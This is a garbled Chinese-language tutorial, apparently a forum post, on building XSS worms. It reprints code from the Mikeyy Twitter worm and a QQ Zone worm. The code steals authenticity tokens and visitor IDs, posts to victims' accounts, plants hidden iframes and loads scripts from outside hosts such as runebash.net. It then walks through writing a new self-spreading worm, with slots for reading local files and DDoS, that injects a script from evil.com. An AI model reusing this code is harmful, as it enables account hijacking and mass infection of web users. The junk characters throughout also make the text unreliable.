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3 n7 Y) E* e5 y' t3 _# i, J1 K U* Z 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
. R" E7 Z1 a# r7 c; }' G3 e! ^, [# V! [& O) K' q/ W
7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; };
$ n/ I: A0 |: A; J; k, O复制代码第六版: 1. function wait() { 6 |2 t& o& o, Y9 g: J/ i* L* | Y
5 r8 i g! n( E0 f7 z: x, o- L6 C
2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie; & D$ l: y3 q, c L
# C' | ]& Q9 `# X2 e- s 4. var tmp_posted=tmp_cookie.match(/posted/); ' @: d3 R/ @7 F2 S, @4 t0 Z. ^. C' x l
( k) L/ [7 {! a
5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); 4 t ]+ I" }5 X+ C( V6 O0 q0 x
5 X. [: D! p$ _3 B5 L 6. var authtoken=authreg.exec(content);
& z! J/ ]- z; `' R# i
6 \1 Z" R: n; `: k* s: l* u 7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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5 t3 b1 X% L% A! s 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
/ u6 q: H. J7 L8 j: X: w5 s: W0 T- k+ W5 P1 S! A1 l
10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
" `' L) ~+ S/ m! ]
, O0 x' H2 G& p6 g/ B- F3 V 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; # A& G3 Z. ]1 F' o; E$ k( G0 F
9 I1 _! ~) E) W/ M1 I 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
! I9 S' T; }8 o! n2 x
3 d* V5 l, V* C. G$ `! G 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; ! x+ r. x: F0 K/ s8 k& N$ j
' d2 N% O; o* D4 \1 M; ? 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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6 _3 N; \, `/ X7 \1 l% q 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 2 P& m& _/ T0 `; J) G6 C
+ _$ ]/ z& [9 z* q; p) `6 \
20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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( q4 `3 ?9 v% j4 P) J& V. d h 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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- K+ k s! k6 t. F 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; / Y; D, i3 M. E- d: m' Y
. @% W1 S% ~/ _, a( T( f. a 24. 6 H' |# V; q1 q! n5 }6 c
3 y+ J& e% S. M# [ 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; ) ?4 I+ v7 G- L- U) A9 n5 z& C
+ X$ g9 l7 T+ E8 u
26. var updateEncode=urlencode(randomUpdate[genRand]); : P! w' A5 i8 v8 Q4 F' S5 C' a
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27.
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( I8 r1 y/ ` G: [, l4 z 28. var ajaxConn= new XHConn(); 9 @( v* Z# H1 l6 ]
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); % h0 R1 v9 f' a+ F
" _8 c& n* j0 `! r, a
30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c); 9 ?* J" Z+ ]: |
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32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); , ]. y2 ~% h- Y& @$ r& Q
4 k$ b. G+ J- u 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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& O5 i j: W4 h3 p3 U 35. var XSS=urlencode(genXSS);
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0 v5 u# e! G% |' x 36. var ajaxConn2= new XHConn();
: Y& {- O" V7 q! G8 h7 k0 r7 ^, u4 v9 |4 a R }
37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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, h! K. k+ f+ X' e, C D, P7 a( W/ S( X 38. 5 J: z3 ^# ~6 T% O+ `
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39. } ; $ L6 c0 |# ?( T6 `( o; T+ U
% W; u5 {1 E! ?1 I" W l 40. setTimeout(wait(),5250); - q( U! E3 e$ }- k$ G8 {
复制代码QQ空间XSSfunction killErrors() {return true;}/ M1 o8 [6 |8 ?+ ?2 c$ J
% m% B) Y' V% b: K! p4 B3 O) m$ Ywindow.onerror=killErrors;" P( u( L) D- X4 j2 V
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5 b4 c9 A8 V0 h- j5 Q2 Q% i% z
6 m* c. i- {$ Uvar shendu;shendu=4;
* D) ^- D# w3 V. T. {
4 h) G7 v, |# R) B8 Q2 y0 x" K//---------------global---v------------------------------------------# K$ z9 \! t* A7 a
0 W! _* R0 S; U$ ]! [2 h. z) {//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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% C# `% `# u9 [1 Rvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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4 H8 F+ T+ m' r+ x. _, F5 k( Vvar myblogurl=new Array();var myblogid=new Array();4 i/ }( K" P- @5 l; F; S
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var gurl=document.location.href;" e2 p8 S( l7 {" B- F* y
' A4 Z) @5 G. p var gurle=gurl.indexOf("com/");1 M9 i# g; z0 @8 j+ ^3 a* d' h7 f
- Q- Y& p( T H+ E, [ gurl=gurl.substring(0,gurle+3); 6 D" c% z' L) N
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var visitorID=top.document.documentElement.outerHTML;( T7 K9 o" l2 U4 _6 x
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var cookieS=visitorID.indexOf("g_iLoginUin = ");: `6 N; h+ w" @" i6 A
& b* B/ s2 \; G& ~3 W4 T1 I6 \5 \ visitorID=visitorID.substring(cookieS+14);
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5 U' z1 N, `- E- d cookieS=visitorID.indexOf(",");
% L! N5 s$ K3 i
5 o I7 b1 v0 t0 k visitorID=visitorID.substring(0,cookieS);
+ j$ J# p+ F* H7 Q' x9 X& ?8 X9 g0 y, N2 Y( ~" \
get_my_blog(visitorID);
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DOshuamy();
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: G4 W- _7 L/ t$ g6 a; u8 b6 ^& e" J% I- p$ r
//挂马# J$ {5 [ v3 y
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function DOshuamy(){
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var ssr=document.getElementById("veryTitle"); y4 v+ M- F/ @' {: { b
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");# j- ]& T& T) K( L2 a
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}
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
* k6 F# B% d) {
1 [: n: f8 L$ Y+ L. Hfunction get_my_blog(visitorID){- t/ G& f* o0 H& R/ [, v: h
/ W- `: ^( h1 K+ f# L* [ userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";! z, q: F. ~/ Y6 l, w
5 k7 b+ T0 W4 f/ y( Z0 o xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象! a$ N4 r; R4 n/ K B" e
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if(xhr){ //成功就执行下面的* E9 h( b6 f R% {0 _& J; |, Z
~9 e1 p( Q$ J: O: ^( I- A xhr.open("GET",userurl,false); //以GET方式打开定义的URL/ {7 A/ \) E, N! P; x
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xhr.send();guest=xhr.responseText;
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2 J" _- x/ s0 @1 D$ E9 n0 n get_my_blogurl(guest); //执行这个函数
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2 ]0 b0 ~9 F0 S: @" z$ T3 O$ c# D' C9 b! e9 b9 A' }
3 Z% O$ V4 K& m H3 R//这里似乎是判断没有登录的) ], B9 ~* k Q9 e5 L6 P; p6 a
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function get_my_blogurl(guest){
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/ ]! s( _& v( i var mybloglist=guest;
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' N2 u% o: q. r; ?" f' Y" d var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了- J& ]$ X* X6 z+ l3 B
2 Q; k9 |% V* ]' V if(myurls!=-1){ //找到了就执行下面的2 _( c1 t! D4 ~& h. c
, C7 o! x, Q$ ^. J* l mybloglist=mybloglist.substring(myurls+11);
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myurls=mybloglist.indexOf(')');! ]. b& L1 I' G+ V) N
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myblogid=mybloglist.substring(0,myurls);
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}else{break;}
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}, y5 i% V% V2 Z$ \: }6 Q
# b) `7 S- q ?; z# o$ sget_my_testself(); //执行这个函数
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. [5 H9 v! k5 N* g; i z3 q+ i5 q9 I7 X) J
0 \$ o: p! u9 u8 c" M4 G5 e) i//这里往哪跳就不知道了 o1 L/ d4 y- u5 W
5 K9 C" z0 P9 U$ K
function get_my_testself(){+ i" S7 \) i7 r' P2 j+ z
, k: k8 x* l- M# L1 X2 Q for(i=0;i<myblogid.length;i++){ //获得blogid的值 A; ~# l `: D1 z' x1 `
* g3 g2 H' p& l
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();5 u/ {. [8 w$ H! j# [+ H% L
& D6 P% d. G. q% P( ]5 A5 b. @! [ var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象- r0 i/ E* p' K; r
4 q- j1 \0 m6 ^3 e; k
if(xhr2){ //如果成功% h4 s/ c% v a/ c8 {
. x& ?. L6 e/ V* z' E: m; b
xhr2.open("GET",url,false); //打开上面的那个url$ s0 C F1 s; J5 p5 V; E7 a1 h
2 C) g0 n2 }0 d4 S xhr2.send();/ Z8 v/ N1 }" B
, j7 Y2 f+ r+ z) G guest2=xhr2.responseText;. U/ W4 F# H1 t
: i, u2 l+ R6 s; l7 ]8 r var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
3 e* l/ G9 V. `. K0 U, t) @
% \5 Y0 [$ S/ |9 Z( F2 F var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
6 N' }, R4 I# X) m: I7 W! @* _# w8 a6 s
if(mycheckmydoit!="-1"){ //返回-1则代表没找到
" T! T0 L( k) x
' [2 I, l; E, x# m targetblogurlid=myblogid;
! {# M0 C( E. `3 H9 X1 F- x1 o: m7 `8 P) n, i0 ~4 X1 V
add_jsdel(visitorID,targetblogurlid,gurl); //执行它/ h9 S v, P, x( [3 W0 o2 J) `: R
% Z6 N) F( V, M$ X. j break;! a! S7 m N0 }8 X2 P& `
5 E# j) t3 ^! u; i2 v5 L }
7 J( i; i, `/ h, P
' @* _9 [& {* z0 I- ` if(mycheckit=="-1"){2 {3 v: Z7 N ~' x# J8 c
1 x# Y5 E% { a6 d$ \7 Q targetblogurlid=myblogid;. x# [/ n( e. C4 s
* J0 B& _. |7 S: F9 e' B! r- [ add_js(visitorID,targetblogurlid,gurl); //执行它
) r6 N& Q* x) A5 u- Z% G/ A" _+ D4 @
break;* \( L, Y# k$ Y- n; [/ Z
+ ^ _4 Z9 _3 B s z3 W+ n }
$ {6 h3 I% ~6 S$ j7 q* \4 r, Q
( k9 l/ H. ~1 ? } ' Z* a2 j1 R. q! ~5 u
' w6 _, x& _! m# J! r/ ^1 ?}
; d$ V$ x6 i/ A3 @3 w4 Z. ]7 _
8 \1 x8 K. C4 Q# K' a6 i0 X$ v}! W) i* ~ J u; j. K
0 A7 ~4 I! {8 X3 y
% {! D$ J! M# X' u$ M$ {/ b
1 J+ i( ~0 ?7 @4 G7 [$ ]# y% [( ^7 x//--------------------------------------
" b$ X( p7 m8 t0 @- F$ H8 \- i+ E0 l" {% g
//根据浏览器创建一个XMLHttpRequest对象
; X8 Q4 k3 L. z6 w3 W/ Y! L( T" r- ?
function createXMLHttpRequest(){
8 {1 h8 }+ j \, N
4 E' x5 s+ C t1 @' u/ o; \6 [ var XMLhttpObject=null; 5 p" a1 u* J m& ~ k& [$ ?% X
0 e: j$ c: _1 v' O if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
7 c1 m9 W- n5 y2 z3 c0 w' _( d4 Q4 T1 F
else ! K; [7 @8 P4 f) m2 R
% T! s2 Q/ C2 q+ O2 M+ K% k! ` { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
7 c7 J/ a5 X$ f. {% @( m0 { i [: W3 w/ k! O
for(var i=0;i<MSXML.length;i++)
! {9 T8 }. A; q2 J% y9 W5 @3 n w% l8 \, h1 R3 J
{ % [5 C c) q. L! j) J$ M, @1 ^# I
* G" Q2 U# b! h8 x. \, ] try 5 R8 b, a+ |2 y# v
. s. W/ l2 w& [# w$ C5 D3 ^ { ) I( s' h7 F4 p
% f6 E* G. ?" v( |4 [; x1 i5 m- m
XMLhttpObject=new ActiveXObject(MSXML); + K- q9 V# o- l" c. u* }4 u
* Y) }3 ]. s' R0 y' h/ o break;
3 f( Y+ K" y3 L* d+ x7 u2 N" `( m$ J9 ]0 T$ q
} 3 S, D# H, j' f9 Q
$ A! E& ~$ W# ]' \; b1 I, i( I
catch (ex) { + V8 c8 r1 b* x, g5 x5 O( o; B& Q& K: U
! `* U( S5 X9 A" @; q6 F% F. _ } ) a' ^; S# N3 t+ s5 Q
" O" E, N9 A+ h. N/ W6 X- d } ; [) ^7 c; G/ T1 y. s% q4 H9 x
$ t1 S" K0 d- Z4 Z$ w }
0 e( p! P0 i( H( N% e! E# t- j" ?5 U2 M
return XMLhttpObject;$ H9 Y9 P' j) [- T6 Q/ f. {
- d) x* x/ G/ E, e9 ^
}
& H0 @9 R9 [7 k3 i g% m! u2 `' O1 V' G7 d* l3 v' n% ^% D( G5 L
" c( S I8 \( H0 ~( _% H5 g8 M+ H9 t2 l. d
//这里就是感染部分了
1 O( f0 N$ c/ G y1 X5 m9 A8 v6 C, K$ c
function add_js(visitorID,targetblogurlid,gurl){5 |+ `/ W+ C+ l! [
9 N5 q. @, D' w/ Zvar s2=document.createElement('script');
" r0 j4 p& a: ^( i1 r9 a. B0 ^/ V5 ~7 M1 a) S S
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();+ @4 `- T- N5 d, Y6 ^1 T
" T* I9 w ?$ l2 b% c' {0 H8 e
s2.type='text/javascript';
1 W" {$ C* q! d0 v9 ~$ U h+ J, i' g, S' v, \1 F2 q: a
document.getElementsByTagName('head').item(0).appendChild(s2);
3 q4 b! F+ Q! @3 R
* l' P2 p t3 Z1 Y) j}5 x+ ^3 {: X8 ?$ h- K
1 ~2 E5 F, e- n1 D+ V$ Q
" Q/ \/ s! Z9 z4 y2 L1 m) K# E9 _' C% L' R. s
function add_jsdel(visitorID,targetblogurlid,gurl){ R& m; p" K" E
: X: O& \4 E% ~
var s2=document.createElement('script');
m* g+ ~4 R5 n, b, u
) S( `, z9 b; L5 I* xs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();5 W: D# ?4 q/ Y) L. C; q7 s
1 o7 o( `) Z' G8 @# ss2.type='text/javascript';
' G* A2 P Q5 L' C' J- L: m0 l% `, ?; j* n/ x2 D
document.getElementsByTagName('head').item(0).appendChild(s2); w7 _. ^+ y, `! T
% P3 O- ^1 M& M, a# E# O
}7 M: t. l" K& u9 [. s8 b# ]: P
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:( P K+ w3 D8 k* g- r
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.). z; O* g" `1 ?7 i; Z
2 A1 k9 \1 I7 j) I# u" q
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)& f( |) V0 O; d f+ z/ ?4 \1 R
. x2 I i; [% M2 x q* Q, C2 k+ c
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# E+ R q5 H$ @& G
* s( ~" r$ o1 x" _# g ]$ _3 ~( v! D# l
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
5 z7 Q- d( J+ i: }7 q% `3 o" J5 s) e$ w3 n) C
首先,自然是判断不同浏览器,创建不同的对象var request = false;% i& G: o, }1 {- L0 ` u% X
X) j, U. J( b& ^: V* T* O i; p$ Jif(window.XMLHttpRequest) {" n0 C3 e8 \ t8 Z
8 r2 o$ u$ s$ m; w7 q
request = new XMLHttpRequest();6 b6 \* q# w5 d% C% ]$ Q! H% K
- l' E2 ^2 o3 c* o. s, H' |
if(request.overrideMimeType) {! D$ ` X% S# q. B5 ^1 C
! Y, J0 D9 |8 j7 M& j3 n) L/ U7 }request.overrideMimeType('text/xml');
8 I. u$ T4 ?+ v' Z1 a0 R( t; V4 U1 F: L9 f
}
- K7 H& r3 Q& h$ S8 ?: O- M* ?- K0 V$ z
} else if(window.ActiveXObject) {9 B! f- l) n+ T# O
! h, N" @4 S9 _$ m( n7 tvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
/ u5 W- b/ ]# Z* @; X' [6 r2 l- p
for(var i=0; i<versions.length; i++) {
# c6 X) F7 K1 o' F1 U' [
$ @( n7 L! f" ~& [3 u( C; Ntry {
6 g% Y! M6 Q/ o' E! o n+ o" E4 j& f$ a( M' P
request = new ActiveXObject(versions);
& S/ z% _' x6 G% Z5 u# d7 E) `/ i ]% g6 P+ ^
} catch(e) {}9 g' p l1 W2 [
4 H! z4 Q2 M' Q8 V: V+ U}* Y& l0 R! w, q: \, E# I
5 r3 h1 B: r$ G+ H
}
$ h3 C! j3 o5 }- v6 Q! M0 M r
$ N4 v' X0 e Z6 |xmlHttpReq=request;6 j# }& y0 j" I$ |1 o z
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
1 [ Z; f! i ?$ C' |9 _7 W2 g
& I2 v/ b% [# I& k5 m% n- Y4 Q6 S) N2 i var Browser_Name=navigator.appName;. O( D) c# Y P# X5 S4 \9 Z
" R) \+ D7 M6 ^7 W* J4 ]4 F
var Browser_Version=parseFloat(navigator.appVersion);% [; `# F' q L' p8 m) g" W
( _7 A" v3 \4 {2 H8 i) T0 [
var Browser_Agent=navigator.userAgent;
) m j) M' c8 k8 Q0 L) z
, ?/ M9 c! }7 S0 ]0 \& F
! X+ m) }+ R' o, A6 E& _
# C. K$ E$ Q* K/ u. [ var Actual_Version,Actual_Name;
y) ]. ~( r3 }+ Y+ W9 o& m; C: }1 N
r7 T. c, T4 B9 q
7 u5 M& E0 J! s' ?: s: a9 q: O5 @, L var is_IE=(Browser_Name=="Microsoft Internet Explorer");
0 R6 a) a7 c2 a5 T, \7 u
, E$ f' [) L7 c8 ~! c" A var is_NN=(Browser_Name=="Netscape");
- U! _( Z7 l. G% u& r& }
$ R( f5 a( Q8 r var is_Ch=(Browser_Name=="Chrome");
# m6 v+ X# b$ N" U! z: o) C8 f/ M% l' Y T# [9 Y
- g' G6 a. E; l& ^' S2 O
8 T9 y: D# ~5 j( V2 O' R if(is_NN){9 }9 o! f6 `2 I; k1 X# x; P
% n) V2 _% u7 Q5 C! P6 b, S( g! k
if(Browser_Version>=5.0){
$ C. }3 C' v) o _/ F3 s! A- Y6 T- A$ ~' t
var Split_Sign=Browser_Agent.lastIndexOf("/");" X" r; i- W- A& _5 C7 |
% {- o8 B {9 c# \ var Version=Browser_Agent.indexOf(" ",Split_Sign);
( m2 u0 w; j6 ^, J9 ^9 t2 h( I' S( L2 L- O' p4 F
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
" @% W7 L4 U' K9 B
1 r& }7 y' l- g" g- |- x" X* e, `% D6 K- B% ~
9 @1 X1 V9 U3 b Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
z( U2 |" ]7 F; h( G$ E1 o+ I& A3 {- N$ H2 M; i/ i
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
: Z/ v7 h, Q0 A" R6 l9 A# A; q* [* B3 e2 q9 i( m# Q
}. j; j( z8 \, C! H+ s
9 U% h" S" }- B5 e( Q1 P3 l, I else{
" z# Y+ I" c0 h; B
$ i+ P1 R) r: A7 R/ r3 t. j8 s Actual_Version=Browser_Version;! I0 w( e. \& P, g2 O
1 ^2 [3 a% C* e( I Z Actual_Name=Browser_Name;
& f- P: L- F3 v# b' {5 u
6 t4 i- ]1 j; T- h }
0 X% M2 u. g1 _& R" r4 W
- a k+ [9 U! _3 z4 Z* C5 X }6 d0 C+ M1 s ^& N7 i# N
# l5 o' y& t7 J7 @ R) K
else if(is_IE){0 T ~3 o+ [- D: i2 K( m8 r/ p
* Q) g2 d" b# T, m) @4 l. V var Version_Start=Browser_Agent.indexOf("MSIE");
# }9 {+ A; U* J! R
( k% i5 `$ {$ _* I var Version_End=Browser_Agent.indexOf(";",Version_Start);
5 c3 ~# Z6 y9 [8 T7 K" T8 ?; S' K; N0 q, l! y& N
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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Actual_Name=Browser_Name;! z0 N$ e- j2 x3 J& W
$ O* A) N+ l; Z! c
& J4 i2 g" N2 I! r* y7 q# \" G" u9 }6 i& [, t _5 A
if(Browser_Agent.indexOf("Maxthon")!=-1){
0 r5 @ W. v: E+ W/ J8 Q& Z; M# ~- |! w7 I
Actual_Name+="(Maxthon)";: Q& J0 l" D( c) `7 u; }, J
- P2 K, q0 T) |. e) e/ X- t }! [- K; l4 j D8 g* [, [/ O/ a
- J1 {9 U% {$ I9 i% p/ Q* C0 ` else if(Browser_Agent.indexOf("Opera")!=-1){
9 K7 ~# W/ H: e' ^2 P* A5 {" K+ T* B3 N2 u" Y
Actual_Name="Opera";
6 v7 C! |8 n! y6 V! ?2 F7 j* p' o: E- ^
var tempstart=Browser_Agent.indexOf("Opera");; e8 O3 s" d/ l9 _2 {7 n- g
: g9 {4 g* `. A; [" m0 g
var tempend=Browser_Agent.length;
4 f( ~' j- r0 \' j% B) O$ E) I. n2 Q" V8 V3 d
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)- v" a# a6 p' M9 i* ~ D# Y
& h7 ^) u; ~# a& r$ Q- a
}8 b( b# {) w8 l; g0 l4 v1 Q
: F& U P7 b: R3 L- |7 U' c }
: M7 e, b ~" p! X6 s, C3 |+ {# i' ~: S0 E; X9 P, W
else if(is_Ch){
- w. @" q4 ^9 P* J1 g/ y7 q3 v( h3 J0 ?; s
var Version_Start=Browser_Agent.indexOf("Chrome");+ e) k6 ^" A1 n# K& A5 ~5 g
3 r3 F, W7 P- d* i var Version_End=Browser_Agent.indexOf(";",Version_Start);/ Y& @2 j! E7 n+ y( K) X! V& q
% [. g4 o+ {- o/ K/ P Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
9 Q6 r0 J- Z) @( R! ]
3 ?' Y6 F2 ?( O5 V Actual_Name=Browser_Name;+ v, H" K8 P# e0 ^ \
5 Y, I- _' } Z
2 c; y3 W; [8 x
- Z( M! M) {6 O if(Browser_Agent.indexOf("Maxthon")!=-1){
2 H0 D) p0 X6 n& P, f! M) G7 A0 y) c* F4 A4 g9 ~9 ?% ?5 v
Actual_Name+="(Maxthon)";3 Q+ |# G7 X0 C" o: D; d' V
: t# C8 R2 S" ?) N1 e( B
}
, O5 L; W6 ~, f- n1 g/ o
v0 w4 \4 v; \* D7 \/ m else if(Browser_Agent.indexOf("Opera")!=-1){
" o2 b7 d$ s3 ^- ~6 z
: Y# ~: y+ ~' O Actual_Name="Opera";
+ w2 Z# a" [, |5 s
7 n+ F! v. w2 h5 ], M" J var tempstart=Browser_Agent.indexOf("Opera");0 M% ^. I F- L( a& Q* I
$ [( f$ C; r) Z5 J3 L5 L& x. ?
var tempend=Browser_Agent.length;
5 ~1 S% j' H/ F
# o3 L3 Y, l' h Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
2 @, m6 s% F7 K9 z0 Z
7 n' E1 P5 N* X+ O8 B }
; t4 S( [# v' ?5 ?) A3 \- p0 s$ k5 M; I# t8 ~5 m
}+ ^+ E5 w6 D% F) `
; D5 b* k( y e- I. y
else{! H6 _$ a" s+ e; x$ ?
1 R' `, L4 g7 z5 d# g% ?
Actual_Name="Unknown Navigator"! l: h/ B. v. a/ Q
- i3 ^/ B1 r$ Z* H m/ E
Actual_Version="Unknown Version"0 v; m. i. d' U1 Y
5 _$ B1 Z: V$ J! t+ U2 x7 v8 i9 ?/ } }
& Q: ]2 _- |4 k3 R& G; @
& g0 A; N/ h8 z4 P, D v8 }& l2 W* u' u$ @' c, h. d0 ^+ {
* G, F) V9 {8 X& t navigator.Actual_Name=Actual_Name;) Q" \/ U4 ?/ G$ E" \6 r
! b5 Q. B6 E( i- q) D' {
navigator.Actual_Version=Actual_Version;: @% d' W) U% l" P$ }1 c8 o* }
9 `# A: \" a+ `
$ s; x# k" } p5 }( b
2 B. L& W: K' L3 W this.Name=Actual_Name;2 G8 y. O1 O5 W, ? J, d
* e, ?/ I3 Q b" q9 ^ this.Version=Actual_Version;
5 m) J- n3 N7 s! g n1 n/ v) |% g4 {- f/ P
}
' Q& i Q2 {% M8 Q1 y$ g/ K5 F& d5 E2 S$ H* H) ]
browserinfo();6 y; Z t( r, o: Y8 f4 u
- G! Z+ _0 Q; J) m if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
* g7 x% g- d2 A5 v! l% D& ^
1 r( S; R# r- O if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
5 s( o x: m' I1 L6 e6 }5 y3 ^5 J4 u9 \- f0 A# @# Y
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
! m( Y# \* F8 O0 k6 R" N- K) Z8 X/ Y# L+ K
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}2 x" c" P* A5 W5 S+ i% W
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
0 f# n, E2 e$ h9 K复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码2 ^* M8 S3 j$ b) [
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.' y, W: p4 h4 a; t/ J# d$ s2 ] K
% w3 u; H y+ s5 _) Q7 h
xmlHttpReq.send(null);6 ?/ t6 T- D8 {* U
* i. O, D q, g# R: y
var resource = xmlHttpReq.responseText;
- B" j+ B8 r: R0 k K! i; o3 h [) d7 M2 P" x- k
var id=0;var result;$ b7 P4 {6 n1 O6 a; x, m( N4 C. c
; A6 D# \8 `5 v' [
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
: L" I* X9 F; q; g
$ ?+ [& v& z4 Wwhile ((result = patt.exec(resource)) != null) {
6 u2 r2 J0 c6 q
1 y/ z8 `9 S/ a/ I" did++;, [& Q; {( e/ F' P/ f
, g+ a3 S, A% \2 D- E8 Q% j5 n
}
2 {0 P8 @' v9 B0 _7 R复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
K/ x; q) P9 c8 _: g7 V( a$ @1 u* o7 C5 t7 T8 t7 F, f3 v
no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去. V- u8 A6 j' f; n4 s5 v$ J
